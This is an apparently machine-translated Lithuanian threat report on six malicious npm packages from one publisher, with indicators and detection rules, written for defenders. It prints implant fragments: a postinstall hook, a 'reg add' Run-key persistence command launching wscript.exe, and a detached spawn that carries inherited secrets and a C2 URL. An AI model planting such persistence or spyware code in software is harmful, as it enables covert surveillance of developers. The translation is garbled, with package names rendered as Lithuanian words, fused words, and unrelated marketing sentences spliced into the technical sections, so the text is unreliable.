„DevTap npm“ rašybos klaidų taisymo ataka

„DevTap npm“ tipografijos ataka: šeši kenkėjiški paketai, skirti kūrėjų darbo vietoms

Lt; DR

Nuo 2026 m. balandžio 1 d. iki gegužės 3 d. vienas npm leidėjas user0001, užregistruotas nepatvirtintu „Gmail“ adresu tanvisoul9@gmail.com, tyliai pastūmėjo šešis paketus su sąmoningai nuobodžiais, infrastruktūros skambančiais pavadinimais: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeir node-env-resolve.

Dvi naujausios versijos node-env-resolve„Xygeni“ kenkėjiškų programų ankstyvojo įspėjimo (MEW) sistema gegužės 2 d. pažymėjo , 1.0.7 ir 1.0.8 versijas, o gegužės 3 d. patvirtino, kad jos yra kenkėjiškos.

Implantas neįprastas tuo, kuo jis nėra: jame nėra „Telegram“ robotų, nėra OAST grįžtamųjų iškvietimų, nėra obfuscationir nebandyti gauti AWS prisijungimo duomenų diegimo metu. Vietoj to, postinstall.js įdiegia „Windows“ įkrovos išlikimo įrašą, naudodamas paleidžiamą HKCU Run klavišą wscript.exe prieš VBS fragmentą. Tada jis sukuria atskirą „Node.js“ agentą, kuris sujungia modulius mikrofono įrašymui, naršyklės istorijos vagystei, ekrano kopijų darymui ir pelės / klaviatūros modeliavimui.

Mes vadiname šį klasterį DevTap, po to, kai rinkinys paliekamas veikti kūrėjo kompiuteryje.

Rašymo metu visi šeši paketai buvo aktyvūs „npm“. Juos pateikėme registro piktnaudžiavimo kanalui. Laukiantys pašalinimo turėtų pašalinti visus leidėjo diegimus.

Klasteris: šeši paketai, vienas leidėjas

Leidėjo paskyra user0001 nepatvirtinta. Ji neturi SCM patvirtinimas, jokių su domenu susijusių el. laiškų ir jokios ankstesnės istorijos. „Gmail“ vartotojo vardas tanvisoul9 nerandamas jokiame kitame mums rastame npm leidėjo įraše.

Visuose šešiuose paketuose nurodytas tas pats kūrėjas, jie buvo publikuoti iš tos pačios paskyros ir turi tą patį package.json standartinis tekstas. Nėra jokio repository, ne homepage, ir ne description ilgesnis nei viena eilutė.

Įdomiausia yra pavadinimų strategija. Kitaip nei klasikinė priklausomybių painiavos ar typosquat kampanija, nė vienas iš šių pavadinimų nėra skirtas konkrečiai srovei bibliotekai. Vietoj to, jie yra sukalibruoti taip, kad išnyktų realiame... package.json or npm ls išėjimas.

PaketasPirmasis paskelbtasNaujausia versijaversijosVaidmuo klasteryje
centrinis globėjas2026-04-01 12:46 UTC1.0.95, nuo 1.0.5 iki 1.0.9Klasterio „registravimo įrankio“ viršelis; anksčiausiai publikuotas
dom-utils-lite2026-04-14 07:36 UTC1.0.33Bendras DOM pagalbininko viršelis
node-fetch-lite2026-04-19 10:22 UTC1.0.23Imituoja mazgų gavimo šeimą
jungties agentas2026-04-25 05:12 UTC1.0.01Bendrinis pavadinimas „agentas“
node-gyp-runtime2026-04-25 05:17 UTC1.0.01Imituoja vietinių modulių kūrimo įrankius
mazgo-aplinkos-išsprendimas2026-04-25 05:21 UTC1.0.910, nuo 1.0.0 iki 1.0.9Aktyvus lašintuvas; visas implantas

Vardai patinka centralogger, node-fetch-liteir node-gyp-runtime yra sukurti taip, kad kodo peržiūros metu atrodytų neginčijamai. Jie skamba kaip dalykai, kurie jau būtų projekto priklausomybių medyje.

Kartu su nauju, nepatvirtintu leidėju ir trūkstamomis saugyklų nuorodomis, jie sudaro atpažįstamą modelį: veikėjas į registrą įterpia mažos trinties vardus, o tada greitai iteruoja su tuo, kuris yra svarbus. Šiuo atveju, node-env-resolve per aštuonias dienas gavo dešimt versijų.

Kas patenka į „Windows Dev Box“

Kenkėjiška grandinė įjungta node-env-resolve:1.0.8 yra trumpas, tiesus ir neįprastai daug funkcijų, kaip npm RAT.

Po diegimo: patvarumas ir atskirtas agentas

package.json deklaruoja vieną diegimo kabliuką:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js atlieka tris dalykus iš eilės.

Pirma, jis sukuria diegimo katalogą už npm medžio ribų. Kelias apskaičiuojamas vykdymo metu scenarijuje taip: INSTALL_DIRTada jis paleidžia vidinį execSync('npm install --production --silent ...') viduje, kad būtų ištrauktos implanto vykdymo laiko priklausomybės. Tai įdeda agentą į diską kažkur vadove node_modules auditas neras.

Antra, jis parašo VBS paleidimo priemonę ir užregistruoja ją įkrovos išsaugojimui:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe yra „Windows Script Host“ – pasirašytas „Microsoft“ dvejetainis failas, kuris veikia .vbs failus be konsolės lango. Tai yra iš ankstocisely, kodėl jis yra pageidaujamas automatinio paleidimo neatitikimams.

Taip pat yra atitikmuo reg delete kelias viduje src/index.js, o tai rodo, kad implantas yra sukurtas taip, kad jį būtų galima švariai išimti operatoriaus komanda.

Trečia, tai sukuria atskirą antrinį procesą:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Čia svarbios dvi detalės.

SERVER_URL yra nuskaitomas iš aplinkos. Todėl C2 galinį tašką galima konfigūruoti kiekvienam diegimui atskirai ir jis nėra integruotas į paketą. Šis mažas, bet sąmoningas pasirinkimas panaikina daugumą statinių IOC peržiūrų.

Taip pat sukurtas vaikas paveldi visą tėvų aplinką. Todėl bet koks NPM_TOKEN, AWS_*, GITHUB_TOKEN, arba SSH agento lizdas, esantis kūrėjo apvalkale diegimo metu, keliauja į ilgai veikiančio agento atmintį.

Ką agentas siunčia

Supakuotas src/ medis apima tris modulius, kurių pavadinimai vien jau pasako istoriją: audioCapture.js, browserHistory.jsir systemInfo.js.

Vykdymo laiko priklausomybių sąrašas, išspręstas etapais npm install, juos patvirtina.

Toks požiūris chaotišką incidentą paverčia kontroliuojamu atsaku.

Užuot reagavusios aklai, komandos veikia su aiškus prioritetų nustatymas ir greitas taisymas.

PriklausomybėKam tai skirta šiame kontekste
ekrano kopija-darbalaukioPeriodinis ekrano kopijų darymas
@nut-tree-fork/nut-jsPelės ir klaviatūros automatizavimas / įvesties modeliavimas
geresnis sqlite3Tiesioginis „Chrome“, „Edge“ ir „Firefox History SQLite“ duomenų bazių nuskaitymas
adm-zipSurinktų artefaktų sugrupavimas prieš eksfiltraciją
aštrusEkrano kopijų ir vaizdo artefaktų dydžio keitimas / glaudinimas
socket.io-clientNuolatinis dvikryptis C2 kanalas
mazgo-mašinos-idStabilus kiekvieno kompiuterio pirštų atspaudas aukų sekimui

systemInfo.js ragina os.networkInterfaces() papildomam pirštų atspaudų ėmimui prieš pirmąjį švyturį.

Kodėl garso įrašymas yra išskirtinis signalas

Dauguma npm RAT atvejai, kuriuos mes vertiname MEW sistemoje, sustoja ties slapta vagyste diegimo metu. Jie skaito. ~/.npmrc, skaitykite ~/.aws/credentials, gramdyti process.env, POST į webhook ir išėjimas. Tai atitinka „smash-and-griebt“ ekonominį modelį. Prisijungimo duomenys turi trumpą pusėjimo trukmę, o užpuolikas turi greitai gauti pajamų.

node-env-resolve yra skirtingos formos.

Išlikimas nustatytas taip, kad atlaikytų perkrovimą. Agentas veikia atskirai ir ilgai gyvuoja esant wscript.exeKomplektas, kurį jis turi, skirtas būti kūrėjo kompiuteryje, o ne tam, kad jį paimtų ir paliktų: mikrofono įrašymo įrenginys, klaviatūros / pelės tvarkyklė, visos naršyklės istorijos įkėlimas, ekrano kopijų kopijavimas ir interaktyvus „Socket.IO“ kanalas, nukreiptas atgal į konfigūruojamą C2.

Mikrofonų gaudymas yra riba, kurią ši kampanija peržengia, o dauguma npm kenkėjiškų programų to nedaro.

Kūrėjo darbo vieta vis dažniau yra ir darbo vieta, kurioje kūrėjai dalyvauja stendiniuose pristatymuose, skambina klientams, aptarinėja dizainą ir atlieka budėjimus. Implantas, įrašantis mikrofoną, iš tikrųjų skirtas ne kūrėjo npm žetono, o to, ką kūrėjas sako priešais nešiojamąjį kompiuterį.

Šis galimybių rinkinys, kartu su nesklandumų stoka ir bet kokio prašmatnaus diegimo metu vykdomo išgavimo nebuvimu, skaitomas kaip išankstinis tikslinės prieigos, o ne oportunistinės kredencialų vagystės, parengimas.

Mes neteigiame priskyrimo vien dėl to. Atkreipiame dėmesį į veiklos profilį.

npm typosquatting ataka – DevTab

Aštuonių dienų iteracijos kadencija įjungta node-env-resolve yra operatyviausiai iškalbinga laiko juostos detalė.

Tai nėra „padegk ir pamiršk“ tipo išmetimas. Leidėjas aktyviai prižiūri išmetimo įrankį, o tai paprastai reiškia vieną iš dviejų dalykų. Arba jie jį derina su testavimo aplinkomis prieš platesnį diegimą, arba jie jau turi diegimo telemetrijos duomenis ir į juos reaguoja.

Kiti penki paketai po pirminio paskelbimo iš esmės nesulaukė jokio praradimo. Tai atitinka pagalbinio klasterio modelį „parengti vieną kartą, palikti pavadintą“, o inžinerinės pastangos sutelkiamos į paketą, kuris atlieka darbą.

Priskyrimas: Mažos užuominos, nėra tvirto verdikto

Visuomenės Balti apklausa Signalai yra silpni, ir mes jų netempsime. Kas yra stebima:

„Gmail“ tvarkyklė tanvisoul9 iš dalies primena Pietų Azijos vardą „Tanvi“. Tai silpnas signalas. „Gmail“ vartotojo vardai nėra tapatybė, o gale esantys soul9 yra bendro pobūdžio. Nesaugu daryti išvados dėl geografijos vien iš el. pašto adreso vietos dalies.

Kodo stilius yra nepastebimas „Node.js“: standard bibliotekos skambučiai, pvz. os, child_process, spawnir reg addNėra jokio kodavimo painiavos, eilučių rotacijos ir derinimo prevencijos logikos. Autorius gerai išmano „Windows“ registro primityvus ir atskirų vaikų procesų orkestravimą, tačiau, regis, nesiekia slaptesnių prekybos metodų, kuriuos jie galėtų naudoti.

Priklausomybės yra visiškai įprastos ir gerai žinomos: screenshot-desktop, nut-js, better-sqlite3ir socket.io-clientNėra jokio pritaikyto protokolo, jokio nuo nulio sukurto C2 paketo ir jokio naujo atkaklumo triuko, išskyrus vadovėlį. HKCU paleidimo klavišasTai kompetentingas integratorius, o ne įrankių autorius.

Publikuotuose artefaktuose neradome ne anglų kalba parašytų eilučių, įterptųjų komentarų, lokalės duomenų ar kompiliatoriaus išvesties laiko juostų atspaudų.

Patikrinome, ar kodas nesidubliuoja su ankstesnėmis kampanijomis, kurias jau stebime, įskaitant Shai Hulud, Owlivion, „Buildkite“ ir neseniai įvykusį „heibai“ / claude-code-best „Anthropic-CLI“ klonų šeima. Neradome jokių: jokių bendrų C2 šablonų, jokių bendrų failų išdėstymų ir jokių bendrų idiomų.

Ko mes nesakytume: kad tai valstybinis veikėjas, žinoma grupė ar geografiškai susijęs su kokia nors konkrečia šalimi.

Veiklos profilis atitinka nedidelę, vidutinio kvalifikacijos komandą, atliekančią kūrėjo darbo vietos stebėjimą. Tikėtina, kad finansiškai motyvuota naudotis prieiga vėliau, bet galbūt ir žvalgyba kaip paslauga atskiram pirkėjui.

Du netiesioginiai argumentai tai patvirtina: dėmesį patraukiančių išsiurbimo mechanizmų, kurie greitai sunaikintų klasterį, pvz., „Telegram“ robotų, vengimas. oastify.com, arba „canarytokens“, ir sąmoningai nuobodūs paketų pavadinimai, kurie teikia pirmenybę tyliems ilgiems diegimams, o ne trumpam didelio kiekio padidėjimui.

Kompromitacijos ir aptikimo rodikliai

Paketai ir leidėjas
LaukasReikšmė
npm leidėjasuser0001
Leidėjo el. pašto adresastanvisoul9@gmail.com, nepatvirtinta
Paketaicentralogger, dom-utils-lite, node-fetch-lite, jungties agentas, node-gyp-runtime, node-env-resolve
Patvirtinta kenkėjiškanode-env-resolve@1.0.7, node-env-resolve@1.0.8
Šeimininko artefaktai
TipasReikšmė
Patvarumo raktasHKCU\Software\Microsoft\Windows\CurrentVersion\Run
Patvarumo vertėKintamojo pavadinimas; duomenys formatu wscript.exe " \\ .vbs"
Įdiekite kabliukąpostinstall: mazgas postinstall.js paketo manifeste
Implantų moduliaisrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Laiptavimo katalogasINSTALL_DIR nustatytas už projekto node_modules ribų; vietą nustatė postinstall.js diegimo metu
tinklas
TipasReikšmė
C2 transportassocket.io-client, nuolatinis dvikryptis kanalas
C2 galinis taškasPateikiama agentui per SERVER_URL aplinkos kintamąjį; nėra užkoduota publikuotuose artefaktuose

Aptikimo pastabos

Šią šeimą apima dvi taisyklės, nereikalaujant C2 galinio taško.

Pirmiausia pažymėkite podiegimo scenarijus, kurie atlieka vidinę npm install į kelią už paketo katalogo ribų. Bet kuris teisėtas išankstinio kūrimo atsisiuntėjas, pvz., node-gyp perkūrimų arba iš anksto sukurtų dvejetainių failų atsisiuntimo programų, rašo paketo viduje arba platformojestandard talpyklos keliai su patikrintomis maišos kopijomis. Jis nerašo į naujai sukurtą INSTALL_DIR kitur diske.

Antra, pažymėkite probleminius po įdiegimo scenarijus reg add HKCU\…\Run su wscript.exe kaip paleidimo priemonė. Tai iš esmės niekada nėra teisėta iš npm paketo. Pažymėkite ir izoliuokite jį.

Trečiasis euristinis metodas naudingas norint aptikti kitą giminingą paketą prieš jį patvirtinant: naujas npm leidėjas be SCM patvirtinimas, „Gmail“ el. laiškas, ne repository lauke ir keli trumpi, bendriniai, infrastruktūrą primenantys paketų pavadinimai, paskelbti per kelias dienas vienas po kito, savaime yra pakankama priežastis rankiniu būdu peržiūrėti.

Pranešta npm registrui. Atnaujinsime šį įrašą, kai leidėjo paskyra bus pašalinta.

sca-tools-software-composition-analyses-tools
Prioritetizuoti, pašalinti ir apsaugoti savo programinės įrangos rizikas
Gaukite nemokamą paskyrą.
Nebūtina kreditinės kortelės.

Apsaugokite savo programinės įrangos kūrimą ir tiekimą

su „Xygeni“ produktų rinkiniu